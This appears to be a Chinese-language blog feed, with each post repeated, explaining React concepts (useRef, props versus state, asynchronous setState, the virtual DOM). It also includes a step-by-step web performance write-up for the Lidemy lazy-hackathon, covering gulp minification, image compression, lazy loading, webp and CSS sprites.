const [content, setContent] = useState("");
const showContent = () => {
alert("Your order: " + lastestOrder.current);
};
const lastestOrder = useRef('');
const handleSendClick = () => {
setTimeout(showContent, 3000);
};
const handleContentChange = (e) => {
setContent(e.target.value);
lastestOrder.current = e.target.value
};
return (
<>
<h2>點餐系統(Function)</h2>
<input
value={content}
onChange={handleContentChange}
placeholder="請輸入您要點的餐點"
/>
<button onClick={handleSendClick}>Send</button>
</>
);
}
如此一來,alert 的值就會讀取到最即時在 input 裡的值了。
]]>在一個元件中 props 代表在元件函式中傳入的參數;而 state 則是在元件內自行管理的,可以想像成在函式內定義的變數。
所以 state 如果被當作參數傳給子元件時,它就變成了子元件的 props。
props 是不可修改的,如果要修改 props 必須在父元素修改好再重新傳入到子元素。 下面是範例:
/* Parent.js */
function Parent() {
const [moneyForSister, setMoneyForSister] = useState(40)
const allocteMoney = () => {
setMoneyForSister(70)
}
return (
<div>
<Sister money={moneyForSister} argue={allocateMoney}/>
</div>
)
}
export default Parent;
/* Sister.js */
function Sister({ money, argue }) {
<div>我是女兒,我拿到{money}<button onClick={argue}>要求提升到70塊</button></div>
}
export default Sister;
當按下 argue 鍵的時候,moneyForSister 會被改為 70,並觸發 Parent 重新渲染,所以 Sister 也會顯示 70 元。
state 則是可以修改的,不過要注意的是 setState 是非同步進行的。
const [count, setCount] = useState(0)
function increment() {
setCount(count + 1);
}
function handleIncrementThreeTimes() {
increment()
increment()
increment()
}
const [count, setCount] = useState(0)
function increment() {
setCount((preState) => {
preState ++
return preState
});
}
function handleIncrementThreeTimes() {
increment()
increment()
increment()
}
在第一個範例裡,當 re-render 完成後顯示的是 1,這是因為呼叫 setState 是非同步的,精確一點的來說,使用 setState 做更新時,實際上更新 state 的值是非同步的。所以在第一個範例裡,每次都更新為 count + 1,其實就是 setCount(1) 做了三次而已。
幸好如果要基於目前 state 的值來更新 state,可以使用在 setState 傳入函數的方式,這邊要釐清的一點是 setState 就算是放入函式一樣是非同步的,只不過如果是傳入函式, react 會將 state 的值拷貝一次並當做參數來記錄當前 state 的變化。最後再實際上非同步更新 state 的值,所以最後 re-render 完成後顯示的是 3。
const [count, setCount] = useState(0)
function increment() {
setCount((preState) => {
preState ++
console.log(count)
return preState
});
}
function handleIncrementThreeTimes() {
increment()
increment()
increment()
}
所以在上面這個範例裡,就算想在 setCount 傳入的函式裡獲取 state 的值,一樣不會立即更新。會在 console 得到
count: 0
count: 0
count: 0
想像 Parent 和 Child 在一個 click 事件中同時呼叫 setState 的例子。如果立即更新畫面要渲染多次,但是如果是刻意等到所有的 component 都在它自己的 event handler 裡呼叫 setState,就可以節省很多效能。
]]>在一個元件中 props 代表在元件函式中傳入的參數;而 state 則是在元件內自行管理的,可以想像成在函式內定義的變數。
所以 state 如果被當作參數傳給子元件時,它就變成了子元件的 props。
props 是不可修改的,如果要修改 props 必須在父元素修改好再重新傳入到子元素。 下面是範例:
/* Parent.js */
function Parent() {
const [moneyForSister, setMoneyForSister] = useState(40)
const allocteMoney = () => {
setMoneyForSister(70)
}
return (
<div>
<Sister money={moneyForSister} argue={allocateMoney}/>
</div>
)
}
export default Parent;
/* Sister.js */
function Sister({ money, argue }) {
<div>我是女兒,我拿到{money}<button onClick={argue}>要求提升到70塊</button></div>
}
export default Sister;
當按下 argue 鍵的時候,moneyForSister 會被改為 70,並觸發 Parent 重新渲染,所以 Sister 也會顯示 70 元。
state 則是可以修改的,不過要注意的是 setState 是非同步進行的。
const [count, setCount] = useState(0)
function increment() {
setCount(count + 1);
}
function handleIncrementThreeTimes() {
increment()
increment()
increment()
}
const [count, setCount] = useState(0)
function increment() {
setCount((preState) => {
preState ++
return preState
});
}
function handleIncrementThreeTimes() {
increment()
increment()
increment()
}
在第一個範例裡,當 re-render 完成後顯示的是 1,這是因為呼叫 setState 是非同步的,精確一點的來說,使用 setState 做更新時,實際上更新 state 的值是非同步的。所以在第一個範例裡,每次都更新為 count + 1,其實就是 setCount(1) 做了三次而已。
幸好如果要基於目前 state 的值來更新 state,可以使用在 setState 傳入函數的方式,這邊要釐清的一點是 setState 就算是放入函式一樣是非同步的,只不過如果是傳入函式, react 會將 state 的值拷貝一次並當做參數來記錄當前 state 的變化。最後再實際上非同步更新 state 的值,所以最後 re-render 完成後顯示的是 3。
const [count, setCount] = useState(0)
function increment() {
setCount((preState) => {
preState ++
console.log(count)
return preState
});
}
function handleIncrementThreeTimes() {
increment()
increment()
increment()
}
所以在上面這個範例裡,就算想在 setCount 傳入的函式裡獲取 state 的值,一樣不會立即更新。會在 console 得到
count: 0
count: 0
count: 0
想像 Parent 和 Child 在一個 click 事件中同時呼叫 setState 的例子。如果立即更新畫面要渲染多次,但是如果是刻意等到所有的 component 都在它自己的 event handler 裡呼叫 setState,就可以節省很多效能。
]]>就像 jQuery 曾經當紅一時一樣,前端框架或函式庫的出現是為了解決一些不方便,jQuery 是一套 JavaScript 的函式庫,它的重點在於支援跨瀏覽器操作 DOM。那是一個瀏覽器百家爭鳴的年代,各個瀏覽器提供操作 DOM 的方法有些並不一致,在這樣的情況下使得 jQuery 成為當紅炸子雞。
當瀏覽器漸漸大一統以後,前端開發者們依舊面臨著一些難題,起因於我們往往要因為資料的變化而進行許多取得 DOM 或者變更 DOM 的操作,這主要會造成兩個問題。
而 React 這個前端框架可以幫助使用者解決上面的兩個問題,所以這也是 React 目前方興未艾的原因。
不論使用瀏覽器原生的 API 操作 DOM 或者是 jQuery,都稱作 Imperative programming,
但這樣子的情況容易產生上面提到的缺點,也就是當網頁功能及架構變大及複雜時,會越來越難掌握事件及衍伸的狀態變化,程式碼也容易雜亂無章。
有鑑於此,React 採用的是 Declarative programming
,我們只要讓 React 知道資料的狀態以及資料如何放進頁面裡,React 會替使用者在資料變動時進行更新 DOM 的操作。如此一來,不僅容易維護程式碼,也可以降低在網頁元素複雜時出現該更新的元素忘記更新的情況。
比如說像下面的範例,我們定義一個代辦事項,當我們想要更改代辦事項的時候,只要將 todo 的 content 內容更新,便可以達到 document.querySelector('.todo-content').innerHTML = xxx
的效果。 採用 Declarative programming
時使用者只需要很直觀的更新資料而不用操作 DOM,這就是 React 的功勞。
let todo = {
id: id.current,
isDone: false,
content: value,
isShow: true
}
function Todo() {
return (
<Content>{todo.content}</Content>}
<Buttons>
<EditButton
type="button"
onClick={() => {
if (isEditMode) return
handleChangeMode()
}}
>
</EditButton>
<DeleteButton type="button" onClick={handleDeleteTodo}>
</DeleteButton>
</Buttons>
)
}
這個時候 React 這個命名便顯得有些傳神了,因為 React 可以及時反映資料的變化在頁面上。
React 也可以讓我們能輕鬆打造可以被重複利用的元件。 這些元件可以在不同的地方被重複使用,比如說很多網站都會有的 Hamburger Menu。
這樣的好處在於我們可以很好的在網頁各處達到一致性的更新,而不用同樣的程式碼,在專案中的多處重複書寫。
在使用 React 的時候,當我們希望頁面有所變更時,使用的狀態資料就必須更新——這就是所謂的單一方向的資料流。
舉例來說,當使用者點擊了一個按鈕,React 會攔截並看看該做什麼。假設我們在此時改變資料的狀態,React 便會根據新的狀態,結合元件,更新 DOM。
下圖以新增代辦事項來說明,動作-資料-畫面的關係。
這樣的好處可以讓我們在 Debug 時容易許多。因為我們只需要關注資料存在何處,以及資料往哪個地方流去。而不會發生資料更改,但忘記同步更新 DOM 的窘境。
剛剛提到單一方向的資料流,也就是說當資料改變了,React 便會將頁面重新渲染,然而資料在哪個部分被改變了沒有被納入考慮。
一樣以 Todo List 的例子來說明,假設目前 Todo List 上有 100 個代辦事項,現在我們想要加入一個代辦事項「清理房子」,結果 React 在發現資料更新以後,將這 101 個資料全都重新繪製了一遍。
假如我們不使用 React,可能會使用類似 parentNode.append(xxx)
的語法,這樣的狀況下只要在 DOM 上面新增一個元素即可,效能上似乎比使用 React 好了許多。幸好 React 使用了 VirtualDOM 的概念來解決這個問題。
首先,當渲染一個 React App 時,會將 DOM 先複製成一份 JavaScript 物件,而這也就是 VirtualDOM。當資料變化時,會將更新後的結果複製一份新的 VirtualDOM 出來。
最後,React 會拿新舊 VirtualDOM 進行比對,並將有差異的地方到實體的 DOM 中進行更新這樣的優化過程就是所謂的 reconciliation。
下圖展示了 VirtualDOM 到 實際 DOM 的繪製流程(紅色代表更新的部分)。
總的來說,當我們透過 React 在開發時,可以很輕鬆的只關注在資料的管理,因為最後 React 會在背後為我們進行最有效率的 DOM 操作與更新。此外,因為組件可以拆分,讓我們不論在維護專案或是開發新專案都十分方便。
如果再回到前言觀察裡面提到的兩個問題:
便可以發現都可以透過 React 順利解決!但可不可以不要用 React,當然也是可行的。
]]>就像 jQuery 曾經當紅一時一樣,前端框架或函式庫的出現是為了解決一些不方便,jQuery 是一套 JavaScript 的函式庫,它的重點在於支援跨瀏覽器操作 DOM。那是一個瀏覽器百家爭鳴的年代,各個瀏覽器提供操作 DOM 的方法有些並不一致,在這樣的情況下使得 jQuery 成為當紅炸子雞。
當瀏覽器漸漸大一統以後,前端開發者們依舊面臨著一些難題,起因於我們往往要因為資料的變化而進行許多取得 DOM 或者變更 DOM 的操作,這主要會造成兩個問題。
而 React 這個前端框架可以幫助使用者解決上面的兩個問題,所以這也是 React 目前方興未艾的原因。
不論使用瀏覽器原生的 API 操作 DOM 或者是 jQuery,都稱作 Imperative programming,
但這樣子的情況容易產生上面提到的缺點,也就是當網頁功能及架構變大及複雜時,會越來越難掌握事件及衍伸的狀態變化,程式碼也容易雜亂無章。
有鑑於此,React 採用的是 Declarative programming
,我們只要讓 React 知道資料的狀態以及資料如何放進頁面裡,React 會替使用者在資料變動時進行更新 DOM 的操作。如此一來,不僅容易維護程式碼,也可以降低在網頁元素複雜時出現該更新的元素忘記更新的情況。
比如說像下面的範例,我們定義一個代辦事項,當我們想要更改代辦事項的時候,只要將 todo 的 content 內容更新,便可以達到 document.querySelector('.todo-content').innerHTML = xxx
的效果。 採用 Declarative programming
時使用者只需要很直觀的更新資料而不用操作 DOM,這就是 React 的功勞。
let todo = {
id: id.current,
isDone: false,
content: value,
isShow: true
}
function Todo() {
return (
<Content>{todo.content}</Content>}
<Buttons>
<EditButton
type="button"
onClick={() => {
if (isEditMode) return
handleChangeMode()
}}
>
</EditButton>
<DeleteButton type="button" onClick={handleDeleteTodo}>
</DeleteButton>
</Buttons>
)
}
這個時候 React 這個命名便顯得有些傳神了,因為 React 可以及時反映資料的變化在頁面上。
React 也可以讓我們能輕鬆打造可以被重複利用的元件。 這些元件可以在不同的地方被重複使用,比如說很多網站都會有的 Hamburger Menu。
這樣的好處在於我們可以很好的在網頁各處達到一致性的更新,而不用同樣的程式碼,在專案中的多處重複書寫。
在使用 React 的時候,當我們希望頁面有所變更時,使用的狀態資料就必須更新——這就是所謂的單一方向的資料流。
舉例來說,當使用者點擊了一個按鈕,React 會攔截並看看該做什麼。假設我們在此時改變資料的狀態,React 便會根據新的狀態,結合元件,更新 DOM。
下圖以新增代辦事項來說明,動作-資料-畫面的關係。
這樣的好處可以讓我們在 Debug 時容易許多。因為我們只需要關注資料存在何處,以及資料往哪個地方流去。而不會發生資料更改,但忘記同步更新 DOM 的窘境。
剛剛提到單一方向的資料流,也就是說當資料改變了,React 便會將頁面重新渲染,然而資料在哪個部分被改變了沒有被納入考慮。
一樣以 Todo List 的例子來說明,假設目前 Todo List 上有 100 個代辦事項,現在我們想要加入一個代辦事項「清理房子」,結果 React 在發現資料更新以後,將這 101 個資料全都重新繪製了一遍。
假如我們不使用 React,可能會使用類似 parentNode.append(xxx)
的語法,這樣的狀況下只要在 DOM 上面新增一個元素即可,效能上似乎比使用 React 好了許多。幸好 React 使用了 VirtualDOM 的概念來解決這個問題。
首先,當渲染一個 React App 時,會將 DOM 先複製成一份 JavaScript 物件,而這也就是 VirtualDOM。當資料變化時,會將更新後的結果複製一份新的 VirtualDOM 出來。
最後,React 會拿新舊 VirtualDOM 進行比對,並將有差異的地方到實體的 DOM 中進行更新這樣的優化過程就是所謂的 reconciliation。
下圖展示了 VirtualDOM 到 實際 DOM 的繪製流程(紅色代表更新的部分)。
總的來說,當我們透過 React 在開發時,可以很輕鬆的只關注在資料的管理,因為最後 React 會在背後為我們進行最有效率的 DOM 操作與更新。此外,因為組件可以拆分,讓我們不論在維護專案或是開發新專案都十分方便。
如果再回到前言觀察裡面提到的兩個問題:
便可以發現都可以透過 React 順利解決!但可不可以不要用 React,當然也是可行的。
]]>https://github.com/Lidemy/lazy-hackathon
幫 index.js 瘦身,裡面太多奇怪的東西了,一大堆分類的演算法,以下列出要保留還有修正的部分。
因為需要載入資源的變少了,Document Complete Time 大概快了一秒,不過 domContentLoaded 從 2.7 秒進步到 1.37 秒,也就是說完成 DOM Tree 以及 CSSOM Tree 解析的時間變快了,但因為圖片太肥大,所以要完整載完網頁還要很久
CRP(Crital Rendering Path) 會影響到第一次渲染的時間,所以先對 CRP 的幾個面向進行評估。
<link href="https://fonts.googleapis.com/css?family=Arvo|Noto+Sans+TC&display=swap" rel="stylesheet">
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./js/slick/slick.css">
<link rel="stylesheet" href="./js/slick/slick-theme.css">
<link rel="stylesheet" href="./css/style.css">
<script src="./js/jquery-3.4.1.js"></script>
<script src="./js/bootstrap.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/typed.js/2.0.10/typed.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.9.0/slick.js"></script>
<script src="./js/index.js"></script>
5 個外部的 CSS 以及 5 個外部的 Javascript 檔案,再加上 HTML 本身,所以CRP 的數量是 11 個
。
這張圖模擬了第一次渲染的流程,第一次送出 request 獲取 html,接著在解析 DOM 文件時,會對找到的外部 CSS / JS 送出 request ,因為這些外部資源不用互相等待下載完成,所以合計為一次同步請求,所以瀏覽起總共需要發起兩次的同步請求。
要加快第一次渲染的速度,可以先從讓關鍵資源的 Bytes 減少。
gulp-htmlmin
sass
, node-sass
轉成 csspostcss
, autoprefixer
當作 css loader 並且加上前綴(適用個別瀏覽器的前綴)cssnano
壓縮 css,建議在開發的時候先不要用,發布時再用以下附上 gulp.file。
const { src, dest } = require('gulp')
const sass = require('gulp-sass')(require('node-sass'));
const postcss = require('gulp-postcss');
const autoprefixer = require('autoprefixer');
const cssnano = require('cssnano'); // 載入 cssnano 套件
const uglify = require("gulp-uglify");
const htmlmin = require('gulp-htmlmin');
function css(cb) {
return src('./src/*.scss')
.pipe(sass().on('error', sass.logError))
.pipe(postcss([autoprefixer(), cssnano()])) // 陣列方式啟用插件
.pipe(dest('./dist'));
}
function js(cb) {
return src("./src/*.js")
.pipe(uglify())
.pipe(dest("./dist"));
}
function html(cb) {
return src("./src/*.html")
.pipe(htmlmin({ collapseWhitespace: true }))
.pipe(dest("./dist"));
}
exports.css = css
exports.js = js
exports.html = html
再次實測資源的大小,結果如下。
最後總計大約資源大小是 81 KB,與原來的 203 KB 相比,節約了大約 60%
因為需要載入資源的變小了,domContentLoaded 從 2.7 秒繼續進步到 0.897 秒,但因為圖片還沒處理,所以要完整載完網頁還要 55 秒左右。
想要把圖片尺寸到正常而且不失真的狀態,可以觀察圖片在網頁最大的像素大小。舉例來說,在 dev tool 將可視區域拉寬,觀察參賽隊伍的圖片,會發現最大的寬度是 255px。
考慮到 retina 螢幕解析度為兩倍的情況,可以將參賽隊伍的圖片調整成 510px 而不會失真。
這邊使用 photoshop 來重新取樣,底下列出重新調整大小的圖片:
圖片區
icon
其他
滿版的圖片不重新取樣,因為瀏覽網頁的裝置可能很大,但是可以將 png 轉成 jpg,因為採用不同的方式編碼,所以可以瘦身。
到此為止 image 資料夾大小從 29.7 MB 下降到 16.3 MB,節約了將近一半的大小!
tinypng 的原理是把相近色給併為一個顏色,這也是一個可以有效降低圖片資料量的方法! 到 tinypng 的官網把所有圖再壓過一次。
這次 image 資料夾的大小下降到 3.7 MB,較上個步驟又節約了 85% 的大小,相近色合併的效果超級威。
再次跑 WebPageTest,結果如下:
整個網頁載入的時間下降到只要 10 秒左右,原本要 55 秒,進步神速!
所謂的 Lazy Loading 是指當資源進入 viewport 時才會下載,有許多工具可以使用,因為原本就有引入了 jQuery,所以就使用 jQuery 提供的 Lazy loading。
<script src="./js/jquery.lazy.min.js"></script>
lazy
data-src
EX.src = "xxx" => data-src = "xxx"
$('.lazy').Lazy();
背後的原理是因為瀏覽器認不出 data-src,等到圖片進入 viewport 會觸發事件,這時候 jQuery 才會把 data-src 換成 src 屬性,瀏覽器便會在這個時候下載圖片。
這個稍微麻煩一些,但原理跟 img 相同。
EX. #bg-image { background-image:none }
const lazyloadBackgrounds = document.querySelectorAll('#bg-image');
var backgroundObserver = new IntersectionObserver(function(entries, observer) {
entries.forEach(function(entry) {
if (entry.isIntersecting) {
var background = entry.target;
background.removeAttribute('id');
backgroundObserver.unobserve(background);
}
});
});
lazyloadBackgrounds.forEach(function(background) {
backgroundObserver.observe(background);
});
在容器進入 viewport 時會被偵測到,這時候把 id 給刪除,原本被 { background: none } 蓋過的規則就會被採用,瀏覽器在這時候便會下載背景圖片。
最後再把 mask-image 也比照辦理就完成所有圖片的 Lazy Loading 了。
推測這次的優化應該會效果顯著,最後結果如下:
只要 4 秒! 把圖片 Lazy Loading 又優化了一半以上的速度!
webp 格式的圖檔在大部分的瀏覽器都有支援,把 png 以及 jpg 檔換成 webp 能再大幅壓縮檔案大小。
基礎語法
npx cwebp a.jpg -o a.webp
將所有圖轉成 webp 後 image 資料夾的大小下降到 1.8 MB,又將資料夾的大小變為原本的一半。
因為不是所有瀏覽器都支援 webp,所以可以利用 picture tag 讓瀏覽器自行判斷要載入 webp 或是 png/jpg,可以參考 MDN 的說明。
<script src="./js/jquery.lazy.picture.min.js"></script>
用下面的範例插入圖片
<picture class="lazy" data-src="./image/team_a.jpg" data-srcset="./webp/team_a.webp" data-type="image/webp" />
$('.lazy').Lazy();
我們可以採用跟之前一樣的邏輯,先在元素上添加一個屬性當作遮罩,然後偵測元素進入 viewpoint 的事件。一旦偵測到便將遮罩刪掉,讓 background image 的屬性被瀏覽器採用。
但是我們還需要考慮到瀏覽器是否支援 webp,所以必須先檢查瀏覽器能否正確載入 webp。
// 挑出有遮罩的元素
const lazyloadBackgrounds = document.querySelectorAll('#bg-image');
const lazyloadIcons = document.querySelectorAll('#icon-image');
// 寫一個會回傳 promise 的函數,偵測載入測試用的 webp 是否成功
const detectWebp = () => new Promise((resolve) => {
const imgSrc = 'data:image/webp;base64,UklGRlIAAABXRUJQVlA4WAoAAAASAAAAAAAAAAAAQU5JTQYAAAD/////AABBTk1GJgAAAAAAAAAAAAAAAAAAAGQAAABWUDhMDQAAAC8AAAAQBxAREYiI/gcA';
const pixel = new Image();
pixel.addEventListener('load', () => {
const isSuccess = (pixel.width > 0) && (pixel.height > 0);
resolve(isSuccess);
});
pixel.addEventListener('error', () => { resolve(false); });
pixel.setAttribute('src', imgSrc); // 開始載入測試圖
});
// 儲存 promise 的結果
const hasSupport = await detectWebp();
// 幫元素加上 class,webp 或者 no-webp
lazyloadBackgrounds.forEach((ele) => {
ele.classList.add(hasSupport ? 'webp' : 'no-webp');
})
lazyloadIcons.forEach((ele) => {
ele.classList.add(hasSupport ? 'webp' : 'no-webp');
})
@mixin bg-webp($url, $type) {
&.no-webp {
background-image: url('./../image/'+ $url + '.' + $type);
&#bg-image{
background-image: none;
}
}
&.webp {
background-image: url('./../webp/'+ $url + '.webp');
&#bg-image{
background-image: none;
}
}
}
這次優化的結果如下:
較上一階段文件全部載入的時間快了一點。
css 裏頭最胖的肯定是 bootstrap 了,但是因為網頁是別人設計的網頁所以不知道要怎麼挑選客製化的 bootstrap。所幸 gulp-uncss 可以自動偵測 html 裡用到的 class,幫 css 瘦身。
之後用 gulp-concat 打包,順序無妨。
這次的結果優化在 domInteractive,因為所有 js 都用 defer 處理。下面是結果:
為了可以讓圖片的 request 減少,通常會把大小一樣的圖拼成雪碧圖 (sprite),再利用 background(mask)-position
的 css 把圖片切割。
下面以 footer 的四個 icon 來示範。
之前有將這四個 icon 統一取樣成 60px 60px 的大小,所以先開一個 240px 60px 的圖層。
接著選擇 檢視 -> 新增參考線配置 -> 4 欄 1 列
一一將圖片載入並「水平置中 垂直置中」在每一個格子裡
輸出 png 以後記得再轉成 webp。
.footer__social-media {
display: flex;
align-items: center;
.footer__social-icon {
@include size(30px);
@include icon(#bbb);
margin-left: 5px;
cursor: pointer;
&:hover {
background: #eee;
}
&.icon-fb {
-webkit-mask-position: 0 0;
@include icon-webp('sprite-community', 'png')
}
&.icon-twitter {
-webkit-mask-position: (100% / 3) 0;
@include icon-webp('sprite-community', 'png')
}
&.icon-ig {
-webkit-mask-position: (100% / 3 * 2) 0;
@include icon-webp('sprite-community', 'png')
}
&.icon-g-plus {
-webkit-mask-position: 100% 0;
@include icon-webp('sprite-community', 'png')
}
}
}
這邊筆記一下為甚麼 mask-size 與 mask-position 要這樣設定,cover
屬性會使得背景圖整個「不變形」、「寬高等比例」、「在必要時局部裁切」的鋪滿整個容器空間。
因為在網頁上裝社群 icon 的容器大小是 30px 30px,背景圖的大小是 240px 60px,為了要填滿整個容器,背景圖的高度重新取樣為 30px,又因為背景圖的寬高比不能變,所以寬度變為 120px。 這個情況使得背景圖的高度與容器相同、背景圖的寬度是容器的四倍
。
要知道決定背景圖與容器相對位置的方法,首先要知道容器本身作為個固定的座標系統
,如下圖,容器的左上角為座標 (0,0),往右往下為正。
接著我們決定要把背景圖的左上角
放在座標的哪個位置上,假設我們把背景圖放在 (0,0),就會像下圖這樣,可以順利將 sprite 圖的第一張顯示出來。
但是用百分比當參數的話又是怎麼回事呢? 第二張 icon 使用了 mask-position: (100% / 3) 0
,百分比使用了下列的公式來轉換成座標:
(容器長[寬]度-背景長[寬]度) x 百分比 = 座標
100% / 3 就是三分之一,也就是說 mask-position 的 X 座標是 (30-120) * (1/3) = -30
把背景圖的左上角放置在 (-30,0) 的位置可以顯示第二張 icon,如下圖。
沒有甚麼差別,可能是因為這次是用台灣的伺服器跑的,因為新加坡的有好幾百個在排隊等...
這次的步驟是參考這個網頁的原始製作者 yakim-shu 的優化流程的,如果說還有甚麼可以做的,我想到以下兩點:
這次主要做的事情有:
這些流程不外乎是減低資源大小
、減少瀏覽器請求次數
以及避免 DOM/CCSOM 的 block
。其中圖片是載入速度的瓶頸所在,所以這次也在處理圖片上學到了最多。
本來以為這個挑戰可以很快完成,但是其實碰到的問題很多,一方面不熟悉工具,另一方面因為不是自己寫的網頁,所以只要動到 scss 都很容易不小心壞掉 XD
推薦大家都一定要來玩!
]]>https://github.com/Lidemy/lazy-hackathon
幫 index.js 瘦身,裡面太多奇怪的東西了,一大堆分類的演算法,以下列出要保留還有修正的部分。
因為需要載入資源的變少了,Document Complete Time 大概快了一秒,不過 domContentLoaded 從 2.7 秒進步到 1.37 秒,也就是說完成 DOM Tree 以及 CSSOM Tree 解析的時間變快了,但因為圖片太肥大,所以要完整載完網頁還要很久
CRP(Crital Rendering Path) 會影響到第一次渲染的時間,所以先對 CRP 的幾個面向進行評估。
<link href="https://fonts.googleapis.com/css?family=Arvo|Noto+Sans+TC&display=swap" rel="stylesheet">
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./js/slick/slick.css">
<link rel="stylesheet" href="./js/slick/slick-theme.css">
<link rel="stylesheet" href="./css/style.css">
<script src="./js/jquery-3.4.1.js"></script>
<script src="./js/bootstrap.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/typed.js/2.0.10/typed.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.9.0/slick.js"></script>
<script src="./js/index.js"></script>
5 個外部的 CSS 以及 5 個外部的 Javascript 檔案,再加上 HTML 本身,所以CRP 的數量是 11 個
。
這張圖模擬了第一次渲染的流程,第一次送出 request 獲取 html,接著在解析 DOM 文件時,會對找到的外部 CSS / JS 送出 request ,因為這些外部資源不用互相等待下載完成,所以合計為一次同步請求,所以瀏覽起總共需要發起兩次的同步請求。
要加快第一次渲染的速度,可以先從讓關鍵資源的 Bytes 減少。
gulp-htmlmin
sass
, node-sass
轉成 csspostcss
, autoprefixer
當作 css loader 並且加上前綴(適用個別瀏覽器的前綴)cssnano
壓縮 css,建議在開發的時候先不要用,發布時再用以下附上 gulp.file。
const { src, dest } = require('gulp')
const sass = require('gulp-sass')(require('node-sass'));
const postcss = require('gulp-postcss');
const autoprefixer = require('autoprefixer');
const cssnano = require('cssnano'); // 載入 cssnano 套件
const uglify = require("gulp-uglify");
const htmlmin = require('gulp-htmlmin');
function css(cb) {
return src('./src/*.scss')
.pipe(sass().on('error', sass.logError))
.pipe(postcss([autoprefixer(), cssnano()])) // 陣列方式啟用插件
.pipe(dest('./dist'));
}
function js(cb) {
return src("./src/*.js")
.pipe(uglify())
.pipe(dest("./dist"));
}
function html(cb) {
return src("./src/*.html")
.pipe(htmlmin({ collapseWhitespace: true }))
.pipe(dest("./dist"));
}
exports.css = css
exports.js = js
exports.html = html
再次實測資源的大小,結果如下。
最後總計大約資源大小是 81 KB,與原來的 203 KB 相比,節約了大約 60%
因為需要載入資源的變小了,domContentLoaded 從 2.7 秒繼續進步到 0.897 秒,但因為圖片還沒處理,所以要完整載完網頁還要 55 秒左右。
想要把圖片尺寸到正常而且不失真的狀態,可以觀察圖片在網頁最大的像素大小。舉例來說,在 dev tool 將可視區域拉寬,觀察參賽隊伍的圖片,會發現最大的寬度是 255px。
考慮到 retina 螢幕解析度為兩倍的情況,可以將參賽隊伍的圖片調整成 510px 而不會失真。
這邊使用 photoshop 來重新取樣,底下列出重新調整大小的圖片:
圖片區
icon
其他
滿版的圖片不重新取樣,因為瀏覽網頁的裝置可能很大,但是可以將 png 轉成 jpg,因為採用不同的方式編碼,所以可以瘦身。
到此為止 image 資料夾大小從 29.7 MB 下降到 16.3 MB,節約了將近一半的大小!
tinypng 的原理是把相近色給併為一個顏色,這也是一個可以有效降低圖片資料量的方法! 到 tinypng 的官網把所有圖再壓過一次。
這次 image 資料夾的大小下降到 3.7 MB,較上個步驟又節約了 85% 的大小,相近色合併的效果超級威。
再次跑 WebPageTest,結果如下:
整個網頁載入的時間下降到只要 10 秒左右,原本要 55 秒,進步神速!
所謂的 Lazy Loading 是指當資源進入 viewport 時才會下載,有許多工具可以使用,因為原本就有引入了 jQuery,所以就使用 jQuery 提供的 Lazy loading。
<script src="./js/jquery.lazy.min.js"></script>
lazy
data-src
EX.src = "xxx" => data-src = "xxx"
$('.lazy').Lazy();
背後的原理是因為瀏覽器認不出 data-src,等到圖片進入 viewport 會觸發事件,這時候 jQuery 才會把 data-src 換成 src 屬性,瀏覽器便會在這個時候下載圖片。
這個稍微麻煩一些,但原理跟 img 相同。
EX. #bg-image { background-image:none }
const lazyloadBackgrounds = document.querySelectorAll('#bg-image');
var backgroundObserver = new IntersectionObserver(function(entries, observer) {
entries.forEach(function(entry) {
if (entry.isIntersecting) {
var background = entry.target;
background.removeAttribute('id');
backgroundObserver.unobserve(background);
}
});
});
lazyloadBackgrounds.forEach(function(background) {
backgroundObserver.observe(background);
});
在容器進入 viewport 時會被偵測到,這時候把 id 給刪除,原本被 { background: none } 蓋過的規則就會被採用,瀏覽器在這時候便會下載背景圖片。
最後再把 mask-image 也比照辦理就完成所有圖片的 Lazy Loading 了。
推測這次的優化應該會效果顯著,最後結果如下:
只要 4 秒! 把圖片 Lazy Loading 又優化了一半以上的速度!
webp 格式的圖檔在大部分的瀏覽器都有支援,把 png 以及 jpg 檔換成 webp 能再大幅壓縮檔案大小。
基礎語法
npx cwebp a.jpg -o a.webp
將所有圖轉成 webp 後 image 資料夾的大小下降到 1.8 MB,又將資料夾的大小變為原本的一半。
因為不是所有瀏覽器都支援 webp,所以可以利用 picture tag 讓瀏覽器自行判斷要載入 webp 或是 png/jpg,可以參考 MDN 的說明。
<script src="./js/jquery.lazy.picture.min.js"></script>
用下面的範例插入圖片
<picture class="lazy" data-src="./image/team_a.jpg" data-srcset="./webp/team_a.webp" data-type="image/webp" />
$('.lazy').Lazy();
我們可以採用跟之前一樣的邏輯,先在元素上添加一個屬性當作遮罩,然後偵測元素進入 viewpoint 的事件。一旦偵測到便將遮罩刪掉,讓 background image 的屬性被瀏覽器採用。
但是我們還需要考慮到瀏覽器是否支援 webp,所以必須先檢查瀏覽器能否正確載入 webp。
// 挑出有遮罩的元素
const lazyloadBackgrounds = document.querySelectorAll('#bg-image');
const lazyloadIcons = document.querySelectorAll('#icon-image');
// 寫一個會回傳 promise 的函數,偵測載入測試用的 webp 是否成功
const detectWebp = () => new Promise((resolve) => {
const imgSrc = 'data:image/webp;base64,UklGRlIAAABXRUJQVlA4WAoAAAASAAAAAAAAAAAAQU5JTQYAAAD/////AABBTk1GJgAAAAAAAAAAAAAAAAAAAGQAAABWUDhMDQAAAC8AAAAQBxAREYiI/gcA';
const pixel = new Image();
pixel.addEventListener('load', () => {
const isSuccess = (pixel.width > 0) && (pixel.height > 0);
resolve(isSuccess);
});
pixel.addEventListener('error', () => { resolve(false); });
pixel.setAttribute('src', imgSrc); // 開始載入測試圖
});
// 儲存 promise 的結果
const hasSupport = await detectWebp();
// 幫元素加上 class,webp 或者 no-webp
lazyloadBackgrounds.forEach((ele) => {
ele.classList.add(hasSupport ? 'webp' : 'no-webp');
})
lazyloadIcons.forEach((ele) => {
ele.classList.add(hasSupport ? 'webp' : 'no-webp');
})
@mixin bg-webp($url, $type) {
&.no-webp {
background-image: url('./../image/'+ $url + '.' + $type);
&#bg-image{
background-image: none;
}
}
&.webp {
background-image: url('./../webp/'+ $url + '.webp');
&#bg-image{
background-image: none;
}
}
}
這次優化的結果如下:
較上一階段文件全部載入的時間快了一點。
